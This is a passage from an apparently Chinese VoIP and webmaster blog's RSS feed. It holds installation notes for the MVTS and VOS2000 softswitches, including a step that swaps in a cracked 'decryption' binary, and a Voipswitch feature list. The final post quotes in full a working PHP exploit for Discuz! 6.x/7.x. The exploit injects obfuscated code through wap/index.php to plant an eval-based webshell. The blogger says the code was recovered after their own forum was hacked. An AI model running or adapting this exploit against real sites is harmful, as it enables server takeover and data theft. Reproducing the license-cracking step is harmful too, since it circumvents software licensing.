/usr/local/mvts/bin/mp_shell.x</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">进入</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">MVTS</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">控制台</span></span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><br />
<span style="font-size: small; font-family: Times New Roman;">#&gt;  show stat </span></span><span style="font-size: small;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">显示</span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"><span style="font-family: Times New Roman;">MVTS</span></span><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';">状态</span></span><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US"></span></p>
</div>
<div style="border-right: medium none; padding-right: 0cm; border-top: medium none; padding-left: 0cm; padding-bottom: 1pt; border-left: medium none; padding-top: 0cm; border-bottom: windowtext 3pt dotted; mso-element: para-border-div;">
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-outline-level: 2;" align="center"><strong><span style="font-size: 12pt; font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;" lang="EN-US">MVTS-SIP-HIT</span></strong><strong><span style="font-size: 12pt; font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;">协议转换程序<span lang="EN-US"></span></span></strong></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 19.2pt; mso-pagination: widow-orphan;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;"><span style="font-size: small;">安装<span lang="EN-US">SIP</span>转换程序</span><span lang="EN-US"></p>
<p><span style="font-size: small;">tar zxvf SIP-HIT_1.1.2.10_linux.tar.gz<br />
./install.sh<br />
/usr/local/siphit</span></span><span style="font-size: small;">回车</span><span lang="EN-US"><br />
</span><span style="font-size: small;">安装完成</span><span style="font-size: small;"><span lang="EN-US"></p>
<p></span>将<span lang="EN-US"> cr_siphit_linux.tgz</span>拷到<span lang="EN-US">/usr/local/siphit</span>目录下，解压覆盖原文件<span lang="EN-US">OK</span>！<span lang="EN-US"></span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 19.2pt; mso-pagination: widow-orphan;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;" lang="EN-US"><span style="font-size: small;">Chmod 777 convert</span></span></p>
</div>
<div style="border-right: medium none; padding-right: 0cm; border-top: medium none; padding-left: 0cm; padding-bottom: 1pt; border-left: medium none; padding-top: 0cm; border-bottom: windowtext 3pt dotted; mso-element: para-border-div;">
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-outline-level: 2;" align="center"><strong><span style="font-size: 12pt; font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;" lang="EN-US">mvts_manager.tar.gz</span></strong></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 19.2pt; mso-pagination: widow-orphan;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;"><span style="font-size: small;">安装<span lang="EN-US">MVTS</span>管理程序及</span><span lang="EN-US"><span style="font-size: small;">WEB<br />
tar zxvf manager.tar.gz<br />
cd manager</span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 19.2pt; mso-pagination: widow-orphan;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;" lang="EN-US"><span style="font-size: small;">Chmod 777 setup<br />
[root@localhost manager]# ./setup<br />
MVTS directory? [/usr/local/mvts]:<br />
MVTS Manager directory? [/usr/local/mvts/manager]:<br />
File or directory /usr/local/mvts/manager exists. Replace? [y/n]: y<br />
MVTS admin group? [mvts]:<br />
MVTS admin user (not root)? [mvts]:<br />
MVTS Manager successfully installed.<br />
Please do following steps before using MVTS Manager:<br />
1. Edit file /usr/local/mvts/cfg/meraproxy.cfg:<br />
   [Console]<br />
   console_port=1730<br />
   admin_gid=500<br />
   <br />
2. Reload MVTS configuration:</p>
<p>   /usr/local/mvts/bin/mp_shell.x r c -d<br />
   <br />
3. Start MVTS agent from root:</p>
<p>   /usr/local/mvts/manager/bin/mvtsagntctl start<br />
   or<br />
   /etc/init.d/mvtsagnt start<br />
Thank you for using MVTS Manager!</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 19.2pt; mso-pagination: widow-orphan;"><span style="font-size: small;"><span style="font-family: Times New Roman;"><strong style="mso-bidi-font-weight: normal;"><span style="mso-bidi-font-size: 10.5pt;" lang="EN-US">*******************************************************************************</span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;" lang="EN-US"></span></strong></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-outline-level: 2;"><strong><span style="font-size: 12pt; font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;" lang="EN-US">MVTS</span></strong><strong><span style="font-size: 12pt; font-family: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;">解密<span lang="EN-US"></span></span></strong></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: 19.2pt; mso-pagination: widow-orphan;"><span style="font-family: 宋体; mso-bidi-font-size: 10.5pt; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体;"><span style="font-size: small;">二、解密：</span><span lang="EN-US"><br />
</span><span style="font-size: small;">将<span lang="EN-US">mp_kerneld.x</span>拷贝到<span lang="EN-US">/usr/local/mvts/bin</span>目录下</span><span lang="EN-US"><br />
</span><span style="font-size: small;">将文件权限改为：</span><span style="font-size: small;"><span lang="EN-US">-r-xr-x&#8211;x<br />
</span>三、执行</span><span style="font-size: small;"><span lang="EN-US">MVTS<br />
/etc/rc.d/init.d/mvts start<br />
/usr/local/mvts/bin/mp_shell.x</span>进入<span lang="EN-US">MVTS</span>控制台</span><span lang="EN-US"><br />
<span style="font-size: small;">#&gt;  show stat </span></span><span style="font-size: small;">显示<span lang="EN-US">MVTS</span>状态<span lang="EN-US"></span></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US"><span style="font-size: small; font-family: Times New Roman;"> </span></span></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/11/23/mvts-install.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Voipswitch version 2.0.0.983</title>
		<link>http://www.yueyong.net/html/2008/11/18/voipswitch-version-200983.html</link>
		<comments>http://www.yueyong.net/html/2008/11/18/voipswitch-version-200983.html#comments</comments>
		<pubDate>Tue, 18 Nov 2008 01:11:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[VOIP和软交换]]></category>

		<category><![CDATA[voipswitch]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=296</guid>
		<description><![CDATA[在国外论坛上看到Voipswitch 的新版又有了，983版，感觉除了支持Vista 之外，其他变化不大。难道Vista 用户很多吗？大部分的应该都是用语音网关吧，只要升级了SIP软电话就可以。有机会找个来测试下。
VPS983 &#8212; Voipswitch version 2.0.0.983
Support dialer Vista
include vippie!
support new Webportal , support 15/30/60 sec for CDR display format
support OnlineShop for paypal , online pay
support Tunnel Server/Tunnel pc2phone Dialer/Tunnel Proxy **** VPN dialer for UAE/dubai/BD
support Calling card Module , pin recharge
support VoiceMail
support Callshop Module
support DID Callback / SMS Callback / ANI Callback / [...]]]></description>
			<content:encoded><![CDATA[<p>在国外论坛上看到Voipswitch 的新版又有了，983版，感觉除了支持Vista 之外，其他变化不大。难道Vista 用户很多吗？大部分的应该都是用语音网关吧，只要升级了SIP软电话就可以。有机会找个来测试下。</p>
<p>VPS983 &#8212; Voipswitch version 2.0.0.983</p>
<p>Support dialer Vista</p>
<p>include vippie!</p>
<p>support new Webportal , support 15/30/60 sec for CDR display format</p>
<p>support OnlineShop for paypal , online pay</p>
<p>support Tunnel Server/Tunnel pc2phone Dialer/Tunnel Proxy **** VPN dialer for UAE/dubai/BD</p>
<p>support Calling card Module , pin recharge</p>
<p>support VoiceMail</p>
<p>support Callshop Module</p>
<p>support DID Callback / SMS Callback / ANI Callback / WEB Callback / SMS recharge</p>
<p>support internal Billiing / prepaid / web reseller / web config</p>
<p>support WEB CDR</p>
<p>support IVR voice play UserBalance , IVR voice build , IVR recharge</p>
<p>include h323 , sip softphone / webphone</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/11/18/voipswitch-version-200983.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>vos2000安装方法</title>
		<link>http://www.yueyong.net/html/2008/11/17/vos2000-install.html</link>
		<comments>http://www.yueyong.net/html/2008/11/17/vos2000-install.html#comments</comments>
		<pubDate>Mon, 17 Nov 2008 01:09:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[VOIP和软交换]]></category>

		<category><![CDATA[vos2000]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=294</guid>
		<description><![CDATA[VOS安装前准备
   1：vi /etc/selinux/config   查看其中是否有 SELINUX=disabled  如果没有要设定如上  后重启服务器
   2：rpm -qa&#124;grep mysql       查看是否安装过musql   如装过就要用  rpm -e &#8211;nodeps mysql  强制删除
   3：date                     查看系统时间    用 date -s ——  来修改新的时间  再用 clock &#8211;systohc把系统信息写入硬件
   4：上传文件  用 sftp 统一在上传服务器建立 dl/tools和dl/v1.2.1-12目录
vos安装
    cat /proc/version         系统内核信息
    cat /proc/cpuinfo                cpu信息
    cat /proc/meminfo         内存信息
    1：查看是否安装perl    rpm -qa&#124;grep perl
    2:rpm -ivh perl -DBI-1.40-5.i386.rpm
    3:rpm -ivh MySQL-server-community-5.0.45-0.rhe14.i386.rpm
    4:查看mysql是否安装成功：ps -ef&#124;grep mysql或用 [...]]]></description>
			<content:encoded><![CDATA[<p>VOS安装前准备<br />
   1：vi /etc/selinux/config   查看其中是否有 SELINUX=disabled  如果没有要设定如上  后重启服务器<br />
   2：rpm -qa|grep mysql       查看是否安装过musql   如装过就要用  rpm -e &#8211;nodeps mysql  强制删除<br />
   3：date                     查看系统时间    用 date -s ——  来修改新的时间  再用 clock &#8211;systohc把系统信息写入硬件<br />
   4：上传文件  用 sftp 统一在上传服务器建立 dl/tools和dl/v1.2.1-12目录<br />
vos安装<br />
    cat /proc/version         系统内核信息<br />
    cat /proc/cpuinfo                cpu信息<br />
    cat /proc/meminfo         内存信息<br />
    1：查看是否安装perl    rpm -qa|grep perl<br />
    2:rpm -ivh perl -DBI-1.40-5.i386.rpm<br />
    3:rpm -ivh MySQL-server-community-5.0.45-0.rhe14.i386.rpm<br />
    4:查看mysql是否安装成功：ps -ef|grep mysql或用 top查看<br />
    5, rpm -ivh mysql-client-community-5.0.45-0.rh14.i138.rm<br />
    6, tar zxvf apach-tomcat-5.5.15.tar.gz   解压<br />
    7, mv apache-tomcat -5.5.15 /usr 移动目录<br />
    8, vi /usr/apache-tomcat-5.5.15/conf/server.xml    进入后 /8080   将connector port =&#8221;80&#8243;      :wq<br />
    9 rpm -ivh jdk-1.5.0.08-linux-i586.rpm<br />
    10, rpm -ivh mbx1000hs-1.2.1-12.i586.rpm<br />
    11, rpm -ivh vos2000-1.2.1-12.i586.rpm<br />
VOS升级<br />
    1 rpm -e mbx 1000hs 删除旧mbx<br />
    2 rpm -ivh mbx 1000hs-1.2.1-12.i586.rpm   升级包<br />
VOS问题<br />
  cd /var/lib/mysql/vosdb<br />
  安装后数据同步<br />
  用LL命令查看VOSDB下所有用户权限.<br />
  可用命令 chown mysql:mysql *  把所有的文件的权限改为mysql<br />
  发现因断电使数据出错时用命令  mysqlcheck -r vosdb 修复VOS 全部数据，也可以先进入MYSQL 再<br />
   mysql &gt;show tables<br />
   mysql &gt;select * from e_customer limit 1<br />
                         表名        查找一行错误</p>
<p>   如果后发现这个表中有错误<br />
  mysql&gt;repair table e_customer  修复此表<br />
   可用这种办法先查看所有的表，、再修复</p>
<p>   重启服务<br />
 /etc/init.d/vosd restart<br />
 /etc/init.d/voswebct restart<br />
 /etc/init.d/voswebsv restart<br />
 /etc/init.d/mbxhsd restart  (双)<br />
 /etc/init.d/mbxsd restart  (sip)<br />
 /etc/init.d/mbxd restart   (h323)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/11/17/vos2000-install.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>discuz6.1最新漏洞</title>
		<link>http://www.yueyong.net/html/2008/11/16/discuz61-hol.html</link>
		<comments>http://www.yueyong.net/html/2008/11/16/discuz61-hol.html#comments</comments>
		<pubDate>Sun, 16 Nov 2008 08:04:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[网站资源]]></category>

		<category><![CDATA[discuz]]></category>

		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.yueyong.net/?p=292</guid>
		<description><![CDATA[oo论坛昨天被挂马了，从日志里找到了挂马者的痕迹，通过wap/index.php注入，然后获得一个shell，拿到了mysql的密码，后提权。从挂马者留下的shell里找到了攻击代码发布的网站。找到了这段攻击代码。
要求比较高，需要开通WAP注册。
#!/usr/bin/php
&#60;?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
$host = &#8216;www.6sim.com&#8217;;
// 服务器域名或IP
$path = &#8216;/bbs/&#8217;;
// 程序所在的路径
$key  = 1;
// 上面的变量编辑好后，请将此处的值改为1
if (strpos($host, &#8216;://&#8217;) !== false &#124;&#124; strpos($path, &#8216;/&#8217;) === false &#124;&#124; $key !== 1)
     exit(&#8221;专业点好不,先看看里面的注释 -,-\n&#8221;);
error_reporting(7);
ini_set(&#8217;max_execution_time&#8217;, 0);
$key = time();
$cmd = &#8216;action=register&#38;username=&#8217;.$key.&#8217;&#38;password=&#8217;.$key.&#8217;&#38;email=&#8217;.$key.&#8217;@80vul.com&#38;_DCACHE=1&#8242;;
$resp = send();
preg_match(&#8217;/logout=yes&#38;amp;formhash=[a-z0-9]{8}&#38;amp;sid=([a-zA-Z0-9]{6})/&#8217;, $resp, $sid);
echo $resp;
if (!$sid)
    exit(&#8221;哦,大概是没有开启WAP注册吧 -,-\n&#8221;);
$cmd = &#8217;stylejump[1]=1&#38;styleid=1&#38;inajax=1&#38;transsidstatus=1&#38;sid=&#8217;.$sid[1].&#8217;&#38;creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}&#8217;;
send();
$shell = &#8216;http://&#8217;.$host.$path.&#8217;forumdata/cache/eval.php&#8217;;
if (file_get_contents($shell) == &#8216;80vul&#8217;)
    exit(&#8221;好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t&#60;?eval(\$_POST[c])?&#62;\n别告诉我你不会用 -,-\n&#8221;);
else
    exit(&#8221;嗯,大概是该网站不存在漏洞,换一个吧 [...]]]></description>
			<content:encoded><![CDATA[<p>oo论坛昨天被挂马了，从日志里找到了挂马者的痕迹，通过wap/index.php注入，然后获得一个shell，拿到了mysql的密码，后提权。从挂马者留下的shell里找到了攻击代码发布的网站。找到了这段攻击代码。</p>
<p>要求比较高，需要开通WAP注册。</p>
<blockquote><p>#!/usr/bin/php<br />
&lt;?php<br />
/**<br />
* Discuz! 6.x/7.x SODB-2008-13 Exp<br />
* By <a href="http://www.80vul.com">www.80vul.com</a><br />
* 文件中注释的变量值请自行修改<br />
*/<br />
$host = &#8216;www.6sim.com&#8217;;<br />
// 服务器域名或IP<br />
$path = &#8216;/bbs/&#8217;;<br />
// 程序所在的路径<br />
$key  = 1;<br />
// 上面的变量编辑好后，请将此处的值改为1</p>
<p>if (strpos($host, &#8216;://&#8217;) !== false || strpos($path, &#8216;/&#8217;) === false || $key !== 1)<br />
     exit(&#8221;专业点好不,先看看里面的注释 -,-\n&#8221;);</p>
<p>error_reporting(7);<br />
ini_set(&#8217;max_execution_time&#8217;, 0);</p>
<p>$key = time();<br />
$cmd = <a href="mailto:'action=register&amp;username='.$key.'&amp;password='.$key.'&amp;email='.$key.'@80vul.com&amp;_DCACHE=1'">&#8216;action=register&amp;username=&#8217;.$key.&#8217;&amp;password=&#8217;.$key.&#8217;&amp;email=&#8217;.$key.&#8217;@80vul.com&amp;_DCACHE=1&#8242;</a>;<br />
$resp = send();</p>
<p>preg_match(&#8217;/logout=yes&amp;amp;formhash=[a-z0-9]{8}&amp;amp;sid=([a-zA-Z0-9]{6})/&#8217;, $resp, $sid);<br />
echo $resp;<br />
if (!$sid)<br />
    exit(&#8221;哦,大概是没有开启WAP注册吧 -,-\n&#8221;);</p>
<p>$cmd = &#8217;stylejump[1]=1&amp;styleid=1&amp;inajax=1&amp;transsidstatus=1&amp;sid=&#8217;.$sid[1].&#8217;&amp;creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}&#8217;;<br />
send();</p>
<p>$shell = &#8216;http://&#8217;.$host.$path.&#8217;forumdata/cache/eval.php&#8217;;</p>
<p>if (file_get_contents($shell) == &#8216;80vul&#8217;)<br />
    exit(&#8221;好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t&lt;?eval(\$_POST[c])?&gt;\n别告诉我你不会用 -,-\n&#8221;);<br />
else<br />
    exit(&#8221;嗯,大概是该网站不存在漏洞,换一个吧 -,-\n&#8221;);</p>
<p>function send()<br />
{<br />
    global $host, $path, $url, $cmd;</p>
<p>    $data = &#8220;POST &#8220;.$path.&#8221;wap/index.php  HTTP/1.1\r\n&#8221;;<br />
    $data .= &#8220;Accept: */*\r\n&#8221;;<br />
    $data .= &#8220;Accept-Language: zh-cn\r\n&#8221;;<br />
    $data .= &#8220;Referer: <a href="http://$host$path\r\n">http://$host$path\r\n</a>&#8220;;<br />
    $data .= &#8220;Content-Type: application/x-www-form-urlencoded\r\n&#8221;;<br />
    $data .= &#8220;User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n&#8221;;<br />
    $data .= &#8220;Host: $host\r\n&#8221;;<br />
    $data .= &#8220;Connection: Close\r\n&#8221;;<br />
    $data .= &#8220;Content-Length: &#8220;.strlen($cmd).&#8221;\r\n\r\n&#8221;;<br />
    $data .= $cmd;</p>
<p>    $fp = fsockopen($host, 80);<br />
    fputs($fp, $data);</p>
<p>    $resp = &#8221;;</p>
<p>    while ($fp &amp;&amp; !feof($fp))<br />
        $resp .= fread($fp, 1024);</p>
<p>    return $resp;<br />
}</p>
<p>?&gt;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.yueyong.net/html/2008/11/16/discuz61-hol.html/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
